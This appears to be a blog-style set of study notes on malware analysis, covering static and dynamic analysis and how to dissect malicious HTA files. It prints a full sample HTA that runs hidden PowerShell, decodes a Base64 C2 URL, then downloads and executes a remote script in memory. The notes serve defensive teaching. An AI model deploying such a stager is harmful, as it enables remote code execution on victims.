0xnhl

Back

Malware Analysis

Created: 1/12/2026 Updated: 1/12/2026

Malware analysis is the process of examining a malicious file to understand its functionality, operation, and methods for defence against it. By analysing a malicious file or application, we can see exactly how it operates, and therefore, know how to prevent it.

There are two main branches of malware analysis: static and dynamic. Static analysis focuses on inspecting a file without executing it, whereas dynamic analysis involves execution.

Static Analysis#

The process of analyzing malware without executing it, but in a controlled environment.

  • PeStudio
    Static analysis can be a quick and effective way to understand how the sample may operate, as well as how it can be identified. Some of the information that can be gathered from static analysis has been included in the table below:
InformationExplanationExample
ChecksumsThese checksums are used within cyber security to track and catalogue files and executables. For example, you can Google the checksum to see if this has been identified before.a93f7e8c4d21b19f2e12f09a5c33e48a
Strings”Strings” are sequences of readable characters within an executable. This could be, for example, IP addresses, URLs, commands, or even passwords!138.62.51.186
Imports”Imports” are a list of libraries and functions that the application depends upon. For example, rather than building everything from scratch, applications will use operating system functions and libraries to interact with the OS.

These are useful, especially in Windows, as they allow you to see how the application interacts with the system.
CreateFileW

This library is used to create a file on a Windows system.
Resources”Resources” contain data such as the icon that is displayed to the user. This is useful to examine, especially since malware might use a Word document icon to trick the user.

Additionally, malware itself has been known to hide in this section!
N/A

However, it’s important to note that regardless of how a sample may appear or function, we don’t truly know until it’s executed. Attackers use techniques such as obfuscation to obscure how the sample appears, primarily to evade anti-viruses but also to evade a curious analyst.

Dynamic Analysis#

The process of analyzing malware by running it in a controlled environment like a sandbox.

HTA Analysis#

HTML Application (HTA) files are files that contain HTML, JScript, and or VBScript code that can be executed on client system. This can to lead to more dynamic applications or remote code execution on a client or victim.

Unlike regular web pages that open inside a browser, HTA files run directly on Windows through a built-in component called Microsoft HTML Application Host - mshta.exe process. This allows them to look and behave like lightweight programs with their own interfaces and actions.

HTA File Structure#

very similar to a regular HTML page. An HTA file usually contains three main parts:

  1. The HTA declaration: This defines the file as an HTML Application and can include basic properties like title, window size, and behaviour.
  2. The interface (HTML and CSS): This section creates the layout and visuals, such as buttons, forms, or text.
  3. The script (VBScript or JavaScript): Here is where the logic lives; it defines what actions the HTA will perform when opened or when a user interacts with it.

eg: This small example creates a simple desktop window with a button that shows a message when clicked.

How attackers use HTA#

HTA files are attractive to attackers because they combine familiar web markup with script execution on Windows.
Common purposes of malicious HTA use:

  • Initial access/delivery: HTA files are often delivered by phishing (email attachments, fake web pages, or downloads) and run via mshta.exe.
  • Downloaders/droppers: An HTA can execute a script that fetches additional binaries or scripts from the attacker’s C2.
  • Obfuscation/evasion: HTAs can hide intent by embedding encoded data(Base64), by using short VBScript/JScript fragments, or by launching processes with hidden windows.
  • Living-off-the-land: HTA commonly calls built-in Windows tools (mshta.exepowershell.exewscript.exerundll32.exe) to avoid adding new binaries to disk.

Inside an HTA, you’ll often find a small script that may be obfuscated or encoded. In practice, this tiny script usually does one of two things: downloads and runs a second-stage payload, or opens a remote control channel to let something else talk back to the attacker’s server. These lightweight scripts are the reason HTAs are effective launchers, a single small file can pull in the rest of the malware.
eg:

<html>
  <head>
    <title>Angry King Malhare</title>
    <HTA:APPLICATION ID="Malhare" APPLICATIONNAME="B" BORDER="none"      SHOWINTASKBAR="no" SINGLEINSTANCE="yes" WINDOWSTATE="minimize">
    </HTA:APPLICATION>
    <script language="VBScript">
      Option Explicit:Dim a:Set a=CreateObject("WScript.Shell"):Dim       b:b="powershell -NoProfile -ExecutionPolicy Bypass -Command ""       {$U=      [System.Text.Encoding]::UTF8.GetString([System.Convert]::      FromBase64String('aHR0cHM6Ly9yYXcua2luZy1tYWxoYXJlWy5dY29tL2MyL3NpbHZlci9yZWZzL2hlYWRzL21haW4vUkVEQUNURUQudHh0'))       $C=(Invoke-WebRequest -Uri       $U -UseBasicParsing).Content       $B=[scriptblock]::Create($C) $B}""":a.Run       b,0,True:self.close
    </script>
  </head>
  <body>
  </body>
</html>
html

When analysing HTAs, the <title> and HTA:APPLICATION tags often reveal how attackers disguise malicious apps. They might use a convincing name like ‘Salary Survey’ or ‘Internal Tool’ to appear safe, always check these first

Secondly, there’s a VBScript block marked by </script language="VBScript"> that’s the active part of the file where attackers often embed encoded commands or call external resources. Inside this block we find a PowerShell command b:b="powershell -NoProfile -ExecutionPolicy Bypass -Command, a pattern commonly seen in malicious HTAs used for delivery or launching. The PowerShell invocation contains a Base64-encoded blob - FromBase64String. This is likely a pointer to further instructions or a downloaded payload. If you see an encoded string, assume it hides a URL. Decoding it reveals the attacker’s command-and-control (C2) address or a resource used in the attack. Always decode before assuming what it does.

Malware authors often use multiple layers of encoding and encryption such as Base64 for obfuscation as some form of encryption or cipher to conceal the true payload. When you decode the Base64, check whether the output still looks like gibberish; if so, a second decryption step is needed.

After the encoded PowerShell command, we can see three key variables: $U$C, and $B. Let’s quickly break down what each does:

  • $U: Holds the decoded URL, the location from which the next script or payload will be fetched.
  • $C: Stores the content downloaded from that URL, usually a PowerShell script or text instructions.
  • $B: Converts that content into an executable scriptblock and runs it directly in memory.

Whenever you see a chain of variables like this, try to trace where each one is created, used, and passed. If a variable ends up inside a function like Run, Execute, or Eval, that’s a sign that downloaded data is being executed, a key indicator of malicious activity.

As a summary, the process for reviewing a suspicious HTA can be broken down into three main steps:

  1. Identify the scripts section (VBScript)
  2. Look for encoded data or external connections (e.g. Base64, HTTP requests)
  3. Follow the logic to see what’s execute or being sent out.